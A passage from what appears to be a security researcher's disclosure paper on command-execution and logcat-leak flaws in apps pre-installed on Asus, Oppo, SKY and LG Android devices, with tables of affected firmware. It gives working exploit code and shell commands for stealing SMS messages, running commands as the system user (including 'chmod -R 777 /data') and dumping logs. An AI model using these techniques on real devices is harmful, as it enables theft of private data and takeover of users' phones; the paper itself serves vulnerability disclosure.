directory. First, the attacking app selects a random 12-character alphanumeric log tag (e.g., UQ2h9hVRhLfg)
so that the vulnerable app will not read in log messages that are not intended for it. In addition, the attacking
app should dynamically register a broadcast receiver with the selected 12 random character string as an
action string. The attacking app then proceeds to write log messages with the selected log tag containing
the lines of the script to execute. In the script, the attacking app needs to transfer the data obtained from the
private directory of the vulnerable app to the private directory of the attacking app. This is accomplished
by having the vulnerable app read in a file from its internal directory and send it in an intent to the broadcast
receiver that was dynamically registered by the attacking app. For example, the attacking app can write the
following log messages to create a script that will make the vulnerable app send it the user’s text messages
where -p <package name> is the package name of the attacking app. The commands below uses the
com.asus.splendidcommandagent app as an example.
Log.d("UQ2h9hVRhLfg", "#!/bin/sh");
Log.d("UQ2h9hVRhLfg", "content query --uri content://sms >
/data/data/com.asus.splendidcommandagent/msg.txt");
Log.d("UQ2h9hVRhLfg", "am broadcast -a UQ2h9hVRhLfg -p <package name> --es data
\"$(cat /data/data/com.asus.splendidcommandagent/msg.txt)\"");
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
After writing these log messages which are the lines of the shell script to execute, the attacking app then
makes the vulnerable app write the script to the vulnerable app’s private directory.
logcat -v raw -b main -s UQ2h9hVRhLfg:* *:S -f
/data/data/com.asus.splendidcommandagent/UQ2h9hVRhLfg.sh -d
The command above will only write the log messages excluding the log tags to a file in the vulnerable app’s
private directory. In the example above of writing log messages to the logcat log, the corresponding file
named /data/data/com.asus.splendidcommandagent/UQ2h9hVRhLfg.sh will contain the content
shown below.
#!/bin/sh
content query --uri content://sms > /data/data/com.asus.splendidcommandagent/msg.txt
am broadcast -a UQ2h9hVRhLfg -p <package name> --es data "$(cat
/data/data/com.asus.splendidcommandagent/msg.txt)"
In the logcat command to make the vulnerable app write the shell script to its private directory, the -v raw
argument will only contain the log messages and not the log tags. The -b main argument will only contain
the main log buffer and not include a message indicating the start of the system and main logs. The -s
UQ2h9hVRhLfg:* *:S arguments will only write the log messages from the log tag of UQ2h9hVRhLfg and
silence all other log messages without a log tag of UQ2h9hVRhLfg. The -d argument will make logcat dump
the current messages in the targeted log buffer(s) and exit so that it does not keep reading. The -f
/data/data/com.asus.splendidcommandagent/UQ2h9hVRhLfg.sh argument will write the contents of
the log to the file indicated. This command will write the script to the vulnerable app’s private directory.
The attacking app can then have the vulnerable app make the shell script executable and then execute the
shell script with the following commands.
chmod 770 /data/data/com.asus.splendidcommandagent/UQ2h9hVRhLfg.sh
sh /data/data/com.asus.splendidcommandagent/UQ2h9hVRhLfg.sh
Then the attacking app can record the data it receives to its broadcast receiver that is dynamically-registered
with an action of UQ2h9hVRhLfg to a file or send it out over a network socket to a remote server.
4.1.2 Transferring Data Directly Using a File in the Attacking App’s Private Directory
Certain devices allow the vulnerable platform app to write the output file directly into the attacking app’s
private directory. This approach is similar to the previous approach although the data transfer approach is
different.
First,
the
attacking
app
needs
to
make
their
private
directory
(i.e.,
/data/data/the.attacking.app) globally executable. Then the attacking app needs to create the target
file that will be written by the vulnerable app (i.e., msg.txt in this example). Then the msg.txt file needs
to be set as globally writable. If the file was not created first, the vulnerable app will create a file in the
attacking app’s private directory that is owned by the system user and it will not be able to be read by the
attacking app. Alternatively, the attacking app can have the platform app create the file in its private
directory and then change the file permissions to be very permissive so it will be accessible to the attacking
app (e.g., msg.txt). Creating the target file and changing the file permissions allows the attacking app to
own the target file and will allow the vulnerable platform app to write to it.
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
The attacking app selects a random 12-character alphanumeric log tag (e.g., UQ2h9hVRhLfg) in order to
avoid a potential collision with any other apps that happen to use the same log tag. This example, will
achieve the same objective as the previous method in obtaining the user’s text messages. The attacking app
then writes a shell script of its choosing to the logcat log using the log tag that was selected earlier. If the
vulnerable platform app can read from a third-party app’s private directory, the shell script can be directly
written there, change the file permissions on the script and it’s private directory and have it directly executed
instead of transferring the script via the logcat log.
Log.d("UQ2h9hVRhLfg", "#!/bin/sh");
Log.d("UQ2h9hVRhLfg", "content query --uri content://sms >
/data/data/the.attacking.app/msg.txt");
The attacking app then forces the vulnerable platform app to write the shell script to its private directory by
making it execute the command shown below which writes the content of the log messages that the attacking
app
wrote
to
the
log
with
the
log
tag
of
UQ2h9hVRhLfg.
logcat -v raw -b main -s UQ2h9hVRhLfg:* *:S -f
/data/data/com.asus.splendidcommandagent/UQ2h9hVRhLfg.sh -d
Then the attacking app makes the vulnerable platform app execute the shell script it just wrote to its private
directory. The commands below make the vulnerable app change the file permissions on the shell script so
it is executable and then execute the shell script.
chmod 770 /data/data/com.asus.splendidcommandagent/UQ2h9hVRhLfg.sh
sh /data/data/com.asus.splendidcommandagent/UQ2h9hVRhLfg.sh
The shell script will make the vulnerable platform app obtain all of the user’s text messages and write them
to a file in the attacking app’s private directory (i.e., /data/data/the.attacking.app/msg.txt). At this
point, the attacking app has the user’s text messages and can execute additional shell scripts using this
method. This approach also works for recording the user’s screen and writing the logcat log directly to the
private directory of the attacking app, although SELinux may deny the search operation on the app’s
private directory on certain devices.
4.2 Asus Command Execution Vulnerability Details
The com.asus.splendidcommandagent platform app executes as the system user since it sets the
android:sharedUserId attribute to a value of android.uid.system in its AndroidManifest.xml file
and is signed with the device platform key. The SplendidCommandAgentService service application
component within the com.asus.splendidcommandagent app executes with a process name of
com.asus.services. This is a result of the SplendidCommandAgentService component setting the
android:process attribute to a value of com.asus.services in its AndroidManifest.xml file. The
SplendidCommandAgentService operates as a bound service where other apps interact with it using a pre-
defined
interface
with
a
fully-qualified
name
of
com.asus.splendidcommandagent.ISplendidCommandAgentService via RPCs. This interface exposes
a single method named doCommand(String). In the com.asus.splendidcommandagent app, the
com.asus.splendidcommandagent.c class fulfills the ISplendidCommandAgentService interface by
containing an implementation for the single method defined in the interface. Therefore, a call to the
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
ISplendidCommandAgentService interface by the attacking app will be unmarshalled and delivered to the
corresponding
method
in
the
com.asus.splendidcommandagent.c
class
in
the
com.asus.splendidcommandagent
app.
Although
we
lacked
the
AIDL
file
for
the
ISplendidCommandAgentService interface to generate an appropriate interface stub in our app to call
directly, the single interface method can still be accessed without an interface stub. This is accomplished
by binding to the SplendidCommandAgentService service, obtaining an IBinder reference, creating and
populating the Parcel objects, and calling the appropriate transaction code when calling the
IBinder.transact(int, Parcel, Parcel, int) method on the ISplendidCommandAgentService
interface.
This
RPC
on
a
remote
object
will,
in
turn,
call
the
com.asus.splendidcommandagent.c.doCommand(String)
method
in
the
com.asus.splendidcommandagent
app.
The
com.asus.splendidcommandagent.c.doCommand(String)
method
will
call
the
SplendidCommandAgentService.a(SplendidCommandAgentService,String) method that performs
the command execution using the java.lang.Runtime.exec(String) method. The string that is executed
in the Runtime.exec(String) method call is controlled by the attacking app and is passed to the
SplendidCommandAgentService via a string parameter in a Parcel object. Appendix A contains Proof of
Concept (PoC) code for devices with a vulnerable com.asus.splendidcommandagent platform app to
execute a command to programmatically factory reset the device. The command to programmatically
factory reset the device is am broadcast -a android.intent.action.MASTER_CLEAR, although this
command can be replaced with the commands in Section 4. The commands that can be executed will likely
be affected by the major version of Android that the affected device is running.
4.3 Affected Asus Android Devices
Table 4 provides a sampling of Asus Android devices that contain a pre-installed, vulnerable version of the
com.asus.splendidcommandagent
platform
app.
A
vulnerable
version
of
the
com.asus.splendidcommandagent app was also present on Asus Android tablet devices, except for the
Asus ZenPad S 8.0 tablet. The com.asus.splendidcommandagent app (versionCode=1510200045,
versionName=1.2.0.9_150915) on the Asus ZenPad S 8.0 tablet actually filtered the commands it
received, and would only accept and execute the following commands: HSVSetting, GammaSetting, and
DisplayColorSetting. At a certain point around March, 2017, this restriction was removed, and the
com.asus.splendidcommandagent app would accept and execute any command without pre-condition
other than it not be an empty string. We never saw any User ID (UID) checking or protection of the
vulnerable service application component with a signature-level custom permission.
Table 4. Asus Devices with a vulnerable com.asus.splendidcommandagent app.
Device
Status
Build Fingerprint
Asus ZenFone V
Live (Verizon)
Vulnerable
asus/VZW_ASUS_A009/ASUS_A009:7.1.1/NMF26F/14.0610.1802.78-
20180313:user/release-keys
Asus ZenFone 3
Max
Vulnerable
asus/US_Phone/ASUS_X008_1:7.0/NRD90M/US_Phone-
14.14.1711.92-20171208:user/release-keys
Asus ZenFone 3
Ultra
Vulnerable
asus/JP_Phone/ASUS_A001:7.0/NRD90M/14.1010.1711.64-
20171228:user/release-keys
Asus ZenFone 4
Max
Vulnerable
asus/WW_Phone/ASUS_X00ID:7.1.1/NMF26F/14.2016.1803.232-
20180301:user/release-keys
Asus ZenFone 4
Max Pro
Vulnerable
asus/WW_Phone/ASUS_X00ID:7.1.1/NMF26F/14.2016.1803.232-
20180301:user/release-keys
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
Asus ZenFone 4
Selfie
Vulnerable
asus/WW_Phone/ASUS_X00LD_3:7.1.1/NMF26F/14.0400.1802.190-
20180202:user/release-keys
Asus
ZenFone
Live
Vulnerable
asus/WW_Phone/zb501kl:6.0.1/MMB29P/13.1407.1801.57-
20180307:user/release-keys
Asus ZenPad 10
Vulnerable
asus/JP_P00C/P00C_2:7.0/NRD90M/JP_P00C-V5.3.20-
20171229:user/release-keys
Asus ZenPad 3
8.0
Vulnerable
asus/WW_P008/P008_1:7.0/NRD90M/WW_P008-V5.7.3-
20180110:user/release-keys
Asus ZenPad S
8.0
Not
Vulnerable
asus/WW_P01M/P01M:6.0.1/MMB29P/WW_P01M-V5.6.0-
20170608:user/release-keys
4.4 Asus ZenFone 3 (ZE552KL) Vulnerability Timeline
Table 5 shows when a particular build for a target market was introduced and whether the build contains a
vulnerable version so the com.asus.splendidcommandagent platform app for the Asus ZenFone 3
(ZE552KL) device. The build fingerprint is provided to uniquely identify the build. The vulnerability was
first introduced in the worldwide market in March, 2017 for the Asus ZenFone 3 device. All other markets
became vulnerable within the next two months except for the Chinese market. This is due to the Chinese
market being held at the Android 6.0.1 (API level 23) for at least 14 months while the worldwide market
moved to Android 8.0 (API level 26). Asus’ website19 allows the downloading of historical firmwares.
Table 5. Asus ZenFone 3 Vulnerability Timeline for Command Execution as system user.
Target
Market
Release
Date
Status
Build Fingerprint
Japan
05/21/18
Vulnerable
asus/JP_Phone/ASUS_Z012D:8.0.0/OPR1.170623.026/15.0
410.1804.60-0:user/release-keys
Worldwide
05/16/18
Vulnerable
asus/WW_Phone/ASUS_Z012D:8.0.0/OPR1.170623.026/15.0
410.1804.60-0:user/release-keys
Worldwide
05/03/18
Vulnerable
asus/WW_Phone/ASUS_Z012D:8.0.0/OPR1.170623.026/15.0
410.1803.55-0:user/release-keys
Worldwide
04/19/18
Vulnerable
asus/WW_Phone/ASUS_Z012D:8.0.0/OPR1.170623.026/15.0
410.1803.53-0:user/release-keys
Japan
04/19/18
Vulnerable
asus/JP_Phone/ASUS_Z012D:8.0.0/OPR1.170623.026/15.0
410.1803.52-0:user/release-keys
China
03/23/18
Not
Vulnerable
asus/CN_Phone/ASUS_Z012D:6.0.1/MMB29P/13.2010.1801.
197-20180302:user/release-keys
Worldwide
03/15/18
Vulnerable
asus/WW_Phone/ASUS_Z012D:8.0.0/OPR1.170623.026/15.0
410.1802.44-0:user/release-keys
Worldwide
02/12/18
Vulnerable
asus/WW_Phone/ASUS_Z012D:8.0.0/OPR1.170623.026/15.0
410.1801.40-0:user/release-keys
China
02/12/18
Not
Vulnerable
asus/CN_Phone/ASUS_Z012D:6.0.1/MMB29P/13.2010.1801.
196-20180108:user/release-keys
Worldwide
01/29/18
Vulnerable
asus/WW_Phone/ASUS_Z012D:8.0.0/OPR1.170623.026/15.0
410.1801.40-0:user/release-keys
Japan
01/11/18
Vulnerable
asus/JP_Phone/ASUS_Z012D:7.0/NRD90M/14.2020.1712.85
-20171228:user/release-keys
Worldwide
01/08/18
Vulnerable
asus/WW_Phone/ASUS_Z012D:7.0/NRD90M/14.2020.1712.85
-20171228:user/release-keys
Worldwide
12/22/17
Vulnerable
asus/WW_Phone/ASUS_Z012D:7.0/NRD90M/14.2020.1711.83
-20171220:user/release-keys
Worldwide
12/15/17
Vulnerable
asus/WW_Phone/ASUS_Z012D:7.0/NRD90M/14.2020.1711.79
-20171206:user/release-keys
19 https://www.asus.com/support/Download-Center/
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
Japan
11/22/17
Vulnerable
asus/JP_Phone/ASUS_Z012D:7.0/NRD90M/14.2020.1711.75
-20171115:user/release-keys
Worldwide
11/21/17
Vulnerable
asus/WW_Phone/ASUS_Z012D:7.0/NRD90M/14.2020.1711.75
-20171115:user/release-keys
Worldwide
10/13/17
Vulnerable
asus/WW_Phone/ASUS_Z012D:7.0/NRD90M/14.2020.1709.68
-20171003:user/release-keys
China
09/06/17
Not
Vulnerable
asus/CN_Phone/ASUS_Z012D:6.0.1/MMB29P/13.2010.1706.
184-20170817:user/release-keys
Japan
08/08/17
Vulnerable
asus/JP_Phone/ASUS_Z012D:7.0/NRD90M/14.2020.1708.56
-20170719:user/release-keys
Worldwide
08/03/17
Vulnerable
asus/WW_Phone/ASUS_Z012D:7.0/NRD90M/14.2020.1708.56
-20170719:user/release-keys
China
07/24/17
Not
Vulnerable
asus/CN_Phone/ASUS_Z012D:6.0.1/MMB29P/13.2010.1706.
181-20170710:user/release-keys
Worldwide
07/14/17
Vulnerable
asus/WW_Phone/ASUS_Z012D:7.0/NRD90M/14.2020.1706.53
-20170628:user/release-keys
Italy
06/29/17
Vulnerable
asus/TIM_Phone/ASUS_Z012D:7.0/NRD90M/14.2020.1704.4
1-20170526:user/release-keys
Japan
05/17/17
Vulnerable
asus/JP_Phone/ASUS_Z012D:7.0/NRD90M/14.2020.1703.33
-20170424:user/release-keys
Worldwide
04/21/17
Vulnerable
asus/WW_Phone/ASUS_Z012D:7.0/NRD90M/14.2020.1703.28
-20170410:user/release-keys
China
03/31/17
Not
Vulnerable
asus/CN_Phone/ASUS_Z012D:6.0.1/MMB29P/13.2010.1701.
170-20170323:user/release-keys
Italy
03/28/17
Vulnerable
asus/TIM_Phone/ASUS_Z012D:7.0/NRD90M/14.2015.1701.1
3-20170310:user/release-keys
Worldwide
03/08/17
Vulnerable
asus/WW_Phone/ASUS_Z012D:7.0/NRD90M/14.2015.1701.8-
20170222:user/release-keys
Japan
02/24/17
Not
Vulnerable
asus/JP_Phone/ASUS_Z012D:6.0.1/MMB29P/13.2010.1612.
161-20170205:user/release-keys
China
01/09/17
Not
Vulnerable
asus/CN_Phone/ASUS_Z012D:6.0.1/MMB29P/13.20.10.150-
20161214:user/release-keys
Worldwide
12/28/2016
Not
Vulnerable
asus/WW_Phone/ASUS_Z012D:6.0.1/MMB29P/13.20.10.152-
20161222:user/release-keys
Worldwide
12/08/2016
Not
vulnerable
asus/WW_Phone/ASUS_Z012D:6.0.1/MMB29P/13.20.10.140-
20161117:user/release-keys
4.5 Oppo F5 Command Execution as the system User
The Oppo F5 Android device contains a platform app with a package name of com.dropboxchmod that
executes as the system user. The Oppo F5 device we examined had a build fingerprint of
OPPO/CPH1723/CPH1723:7.1.1/N6F26Q/1513597833:user/release-keys. The Oppo F5 does not come
with the Dropbox Android app pre-installed with a standard package name of com.dropbox.android,
although this could also be for the service named DropBoxService in the Android framework. The
com.dropboxchmod app contains only a single application component named DropboxChmodService. This
service app component is implemented by a single class and an anonymous class. Below is the
AndroidManifest.xml of the app showing that the app has an android:sharedUserId attribute with a
value of android.uid.system. In addition, the manifest shows that the DropBoxChmodService is
explicitly exported and not permission-protected, making it accessible to any app on the device.
<?xml version="1.0" encoding="utf-8" standalone="no"?><manifest
xmlns:android="http://schemas.android.com/apk/res/android" android:sharedUserId="android.uid.system"
package="com.dropboxchmod" platformBuildVersionCode="25" platformBuildVersionName="7.1.1">
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
<application android:allowBackup="true" android:icon="@drawable/ic_launcher"
android:label="@string/app_name">
<service android:enabled="true" android:exported="true" android:name=".DropboxChmodService"/>
</application>
The primary class named DropBoxChmodService creates an anonymous java.lang.Thread object that
has access to the intent that was received in the onStartCommand(Intent, int, int) lifecycle method.
The anonymous thread objects will obtain the action string from the intent and execute it as the system user
if the action string is not null and not an empty string. Since the DropBoxChmodService app component is
exported and not permission-protected, any app co-located on the device can execute commands as the
system user. Unlike the others, the DropBoxChmodService does not print the output of the executed
command to the logcat log, although the approach detailed in Section 4.1.1 can be used to obtain the output
of a command. Below is the code to execute as the system user on the Oppo F5 device where the action
string to the intent will be executed.
Intent i = new Intent();
i.setClassName("com.dropboxchmod", "com.dropboxchmod.DropboxChmodService");
i.setAction("chmod -R 777 /data");
startService(i);
In the source code snippet above, a vulnerable Oppo Android device will recursively change the file
permissions starting from the /data directory. This is useful to examine for non-standard files on the data
partition. We examined an Intermediate Representation (IR) of the app code for the com.dropboxchmod
platform app and recreated the source code for the onStartCommand service lifecycle method of the
DropBoxChmodService class that is provided below. The onStartCommand method receives the intent sent
from the attacking app.
@Override
public int onStartCommand(final Intent intent, int flags, int startId) {
new Thread() {
public void run() {
if (intent == null) {
stopSelf();
return;
}
String action = intent.getStringExtra("action");
if (action.isEmpty()) {
action = intent.getAction();
}
Log.i("DropboxChmodService", "action = [" + action + "]");
if (action.isEmpty()) {
stopSelf();
return;
}
try {
Process process = Runtime.getRuntime().exec(action);
Log.i("DropboxChmodService", "wait begin");
process.waitFor();
Log.i("DropboxChmodService", "wait end");
} catch (Exception e) {
e.printStackTrace();
}
}
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
}.start();
return super.onStartCommand(intent, flags, startId);
}
4.5.1 Affected Oppo Android Devices
We examined a range of Oppo devices from the markets in which they operate to estimate the scope of
affected devices. Oppo makes their most recent firmware images for each device available on their website.
The firmware images are segmented by country, where each country appears to have a different set of
devices available to it. The Chinese market20 appears to have the most available firmware images to
download, whereas the Australian market21 has less firmware images available to download. Table 6
provides a chronologically-ordered listing of Oppo devices and whether or not they are vulnerable. This is
not an exhaustive listing of the firmware images for Oppo Android devices. At a certain point, Oppo started
to use an ozip file format to encapsulate their firmware images instead of the standard zip file format they
used previously. We found a tool on XDA Developers from a member named cofface that helped to decrypt
some of the ozip files22. Due to the new ozip file format, we were not able to examine all the firmware
images we downloaded. The Oppo firmware images do not directly provide the ro.build.fingerprint
property in the default properties file (i.e., /system/build.prop); therefore, we used the
ro.build.description property instead. This property is similar and contains some of the same fields.
Specifically, Table 6 is ordered by the date provided in ro.build.description property corresponding
to the ro.build.date property (sometimes as a UNIX timestamp). The earliest date we witnessed where
for the vulnerability was June 07, 2016 in the Oppo R7S device available to the Chinese market.
Table 6. Oppo Vulnerability Timeline for Command Execution as system user.
Device
Country
Status
Build Description
R7 Plus
China
Not
Vulnerable
full_oppo6795_15019-user 5.0 LRX21M 1465722913 dev-
keys
R7S
China
Vulnerable
msm8916_64-user 5.1.1 LMY47V eng.root.20160713.211744
dev-keys
Neo 5
Australia
Not
Vulnerable
OPPO82_15066-user 4.4.2 KOT49H eng.root.1469846786
dev-key
R7 Plus
India
Not
Vulnerable
msm8916_64-user 5.1.1 LMY47V eng.root.20160922.193102
dev-keys
A37
India
Vulnerable
msm8916_64-user 5.1.1 LMY47V eng.root.20171008.172519
release-keys
F1S
Australia
Vulnerable
full_oppo6750_15331-user 5.1 LMY47I 1509712532
release-keys
F5
Malaysia
Vulnerable
full_oppo6763_17031-user 7.1.1 N6F26Q 1516160348
release-keys
R9
Australia
Vulnerable
full_oppo6755_15311-user 5.1 LMY47I 1516344361
release-keys
F3
Pakistan
Vulnerable
full_oppo6750_16391-user 6.0 MRA58K 1517824690
release-keys
F3
Vietnam
Vulnerable
full_oppo6750_16391-user 6.0 MRA58K 1517824690
release-keys
A77
Australia
Vulnerable
full_oppo6750_16391-user 6.0 MRA58K 1517824690
release-keys
20 http://bbs.coloros.com/forum.php?mod=phones&code=download
21 https://oppo-au.custhelp.com/app/soft_update
22 https://forum.xda-developers.com/android/software/cofface-oppo-ozip2zip-tool-t3653052
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
R9
China
Vulnerable
full_oppo6755_15111-user 5.1 LMY47I 1519426429 dev-
keys
A39
Australia
Vulnerable
full_oppo6750_16321-user 5.1 LMY47I 1520521221
release-keys
F3 Plus
Pakistan
Vulnerable
msm8952_64-user 6.0.1 MMB29M eng.root.20180413.004413
release-keys
R11
China
Vulnerable
sdm660_64-user 7.1.1 NMF26X eng.root.20180426.130343
release-keys
A57
Philippines
Vulnerable
msm8937_64-user 6.0.1 MMB29M eng.root.20180508.104025
release-keys
A59S
China
Vulnerable
full_oppo6750_15131-user 5.1 LMY47I 1525865236 dev-
keys
A77
China
Vulnerable
msm8953_64-user 7.1.1 NMF26F eng.root.20180609.153403
dev-keys
4.6 SKY Elite 6.0L+ Arbitrary Command Execution as the system User
The SKY Elite 6.0L+ device contains an app with a package name of com.fw.upgrade.sysoper
(versionCode=238, versionName=2.3.8) that allows any app co-located on the device to have it execute
commands as the system user. This app was developed by Adups, which is the same company that we
discovered was surreptitiously exfiltrating PII to China23. This vulnerability is the same one that we
previously discovered, but the notable thing is that this device was purchased in March, 2018 from Micro
Center in Fairfax, VA. We examined the two Adups apps on the device (com.fw.upgrade.sysoper and
com.fw.upgrade) and neither of them exfiltrated any user PII. Although Adups apps are on the device,
they do not make any network connections. The device uses a platform app with a package name of
com.android.ota (versionCode=1, versionName=1.0) to check for firmware updates. This app checks
to see if a firmware update is available right after the boot process completes by making an HTTP GET
request to the following URL: http://ota.wheatek.com:8001/WtkOTA/CheckUpdate (querystring omitted).
We witnessed that since May 23, 2018, any requests to this URL time out. If there was a firmware update
available, the com.android.ota app would use a platform app with a package name of
com.mediatek.systemupdate.sysoper (versionCode=1, versionName=1.0) to boot into recovery and
install the firmware update. Since the Wheatek server is not responding to the GET requests, it appears that
this device will be left with a known vulnerability. The SKY Elite 6.0L+ device has a build fingerprint of
SKY/x6069_trx_l601_sky/x6069_trx_l601_sky:6.0/MRA58K/1482897127:user/release-keys.
This device has a build date of Wed Dec 28 12:01:22 CST 2016 according to the ro.build.date system
property. Adups has fixed the arbitrary command execution as system user vulnerability in its apps,
although SKY or another entity in the supply chain included an old version of the Adups app in their build
that has not been updated, making the device vulnerable. The source code below will cause the
com.fw.upgrade.sysoper app to create a file an empty file with a path of /sdcard/f.txt. This is a fairly
benign command to be executed as it just shows the vulnerable app will actually execute commands of the
attacking app’s choosing and can be replaced with a different command.
Intent i = new Intent("android.intent.action.Fota.OperReceiver");
i.setClassName("com.fw.upgrade.sysoper", "com.adups.fota.sysoper.WriteCommandReceiver");
i.putExtra("cmd", "touch /sdcard/f.txt");
sendBroadcast(i);
23 https://www.blackhat.com/docs/us-17/wednesday/us-17-Johnson-All-Your-SMS-&-Contacts-Belong-To-Adups-&-
Others.pdf
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
5. Logcat Logs
The logcat logs consist of four different log buffers: system, main, radio, and events24. The logcat log is a
shared resource where any process on the device can write a message to the log. The logcat log is generally
for debugging purposes. A third-party app can only read log messages that the app itself has written. Pre-
installed apps can request and be granted the READ_LOGS permission by the Android OS. The Android OS
and apps can write sensitive data to the logs, so the capability to read from the system-wide logcat log was
taken away from third-party apps in Android 4.1. Since a third-party app cannot directly obtain the system-
wide logcat log, a third-party app may leverage another privileged app to write the system-wide logcat logs
to the SD card or potentially its own private app directory. We found various vulnerabilities where a
privileged pre-installed app writes the logcat logs to the SD card25.
The logcat logs tend to contain email addresses, telephone numbers, GPS coordinates, unique device
identifiers, and arbitrary messages written by any process on the device. A non-exhaustive list of concrete
logcat log messages is provided in Appendix B. The log messages in Appendix B are from the ZTE Blade
Vantage
device
from
Verizon
with
a
build
fingerprint
of
ZTE/Z839/sweet:7.1.1/NMF26V/20180120.095344:user/release-keys. App developers may write
sensitive data to the logcat log while under the impression that their messages will be private and
unobtainable. Information disclosure from the logcat log can be damaging depending on the nature of the
data written to the log. Appendix B contains a username and password pair being written to the logcat log
from a US Fortune 500 bank app. There is some variance of the data that is written to the logcat log among
different Android devices. Some older examples of data written to the logcat log can be found here26.
5.1 Various LG Devices – Getting the Logcat Logs Written to an App’s Private Directory
The com.lge.gnsslogcat app (versionCode=1, versionName=1.0) is present as a pre-installed app on
the four LG devices we examined, show below with their corresponding build fingerprints.
LG G6 - lge/lucye_nao_us_nr/lucye:7.0/NRD90U/17355125006e7:user/release-keys
LG Q6 - lge/mhn_lao_com_nr/mhn:7.1.1/NMF26X/173421645aa48:user/release-keys
LG X Power - lge/k6p_usc_us/k6p:6.0.1/MXB48T/171491459f52c:user/release-keys
LG Phoenix 2 - lge/m1v_att_us/m1v:6.0/MRA58K/1627312504f12:user/release-keys
This platform app executes as the system user since the app is signed with the platform key and sets the
android:sharedUserId attribute to a value of android.uid.system in its AndroidManifest.xml file.
This provides the application with significant capabilities on the device. The app also requests the
android.permission.READ_LOGS permission. As this app is installed on the system partition, the
READ_LOGS permission will be granted to it so that it can read the system-wide logcat log. The
AndroidManifest.xml file of the com.lge.gnsslogcat app is provided below.
<?xml version="1.0" encoding="utf-8" standalone="no"?><manifest
xmlns:android="http://schemas.android.com/apk/res/android"
24 https://developer.android.com/studio/command-line/logcat#alternativeBuffers
25 See Sections 9.2 and 10.2 for additional methods for obtaining the system-wide logcat log.
26 http://www.blackhat.com/docs/asia-15/materials/asia-15-Johnson-Resurrecting-The-READ-LOGS-Permission-On-Samsung-
Devices-wp.pdf
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
android:sharedUserId="android.uid.system" package="com.lge.gnsslogcat"
platformBuildVersionCode="24" platformBuildVersionName="7.0">
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_LOGS"/>
<uses-permission android:name="android.permission.WAKE_LOCK"/>
<application android:allowBackup="true" android:label="@string/app_name"
android:theme="@style/AppTheme">
<service android:exported="true" android:name=".GnssLogService">
<intent-filter android:label="com.lge.gnsslogcat">
<action android:name="com.lge.gnsslogcat"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
</service>
</application>
The com.lge.gnsslogcat app is small, as it only contains three classes for the whole app and only contains
a single service application component: GnssLogService. This component is explicitly exported as it sets
the android:exported attribute to a value of true. The com.lge.gnsslogcat app does not run following
device startup and will only run when started by another app on the device. When the com.lge.gnsslogcat
app is started via an intent, it will write the logcat log to external storage, although the log messages it writes
belong to a limited set of log tags. Each log entry has a log tag and a log message. Specifically, the default
configuration for the com.lge.gnsslogcat app is to only record log messages that have a log tag of
GpsLocationProvider, LocationManagerService, or GnssLogService. Under the default configuration,
the com.lge.gnsslogcat app writes the entire log entries for log messages from the system-wide logcat
log that have the aforementioned log tags to a default path of /sdcard/gnsslog/GnssLogService.log.
An example listing of this file is shown below.
05-10 13:16:24.559 1703 2555 D LocationManagerService: getLastLocation:
Request[ACCURACY_FINE gps requested=0 fastest=0 num=1]
05-10 13:16:24.560 1703 1717 D LocationManagerService: getLastLocation: Request[POWER_LOW
network requested=0 fastest=0 num=1]
05-10 13:16:39.131 6668 6685 D GnssLogService: FileName[GnssLogService] start logging
05-10 13:17:34.930 1703 3307 D LocationManagerService: getLastLocation: Request[POWER_NONE
passive fastest=0 num=1]
05-10 13:17:34.940 1703 3345 D LocationManagerService: getLastLocation: Request[POWER_NONE
passive fastest=0 num=1]
05-10 13:17:34.949 1703 3307 D LocationManagerService: getLastLocation: Request[POWER_NONE
passive fastest=0 num=1]
The logcat log, containing only log entries from 3 specific log tags, only provides a very limited amount of
data. We discovered a method to provide input to the com.lge.gnsslogcat app so that the entire system-
wide logcat log will be written to the output file. The attacking app that starts the com.lge.gnsslogcat
app externally can control the path where the file will be created. Moreover, the attacker can use a path
traversal attack. The resulting log file will always have a fixed .log extension, but the path can be controlled
by the attacker. The path selection will still be subject to SELinux rules. We have found that the attacking
app can successfully cause the com.lge.gnsslogcat app create a logcat log file in the attacking app’s
private directory. Therefore, the attacking app does not require any permissions to obtain the logcat logs,
although if data from the logcat log is to be sent off from the device, the attacking app will need the
INTERNET permission.
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
Here we provide the source code to perform the attack using a notional package name of hab.huba. The
first thing the attacking app needs to do is to make its private directory (i.e., /data/data/hab.huba)
globally executable. This source code below will accomplish this.
File baseAppDir = getFilesDir().getParentFile();
baseAppDir.setExecutable(true, false);
After that, the attacking app needs to create a file in its private directory. The name can be anything although
it will have to end in .log and the same file name (except the .log since it will be appended by the
com.lge.gnsslogcat app) will need to be used when sending an intent to the com.lge.gnsslogcat app
to start the logging. Using an example file name of test.txt.log, we will create it in the attacking app’s
private directory.
File logfile = new File(baseAppDir, "test.txt.log");
try {
logfile.createNewFile();
logfile.setWritable(true, false);
} catch (IOException e) {
e.printStackTrace();
}
This code will create an empty file in the attacking app’s private directory that will be writable by the
com.lge.gnsslogcat app. The SELinux rules on the device allow the com.lge.gnsslogcat app to write
from a third-party app’s private directory. The attacking app, hab.huba, will be the owner of the
test.txt.log file even after the com.lge.gnsslogcat app writes logcat log data to it. Below is the code
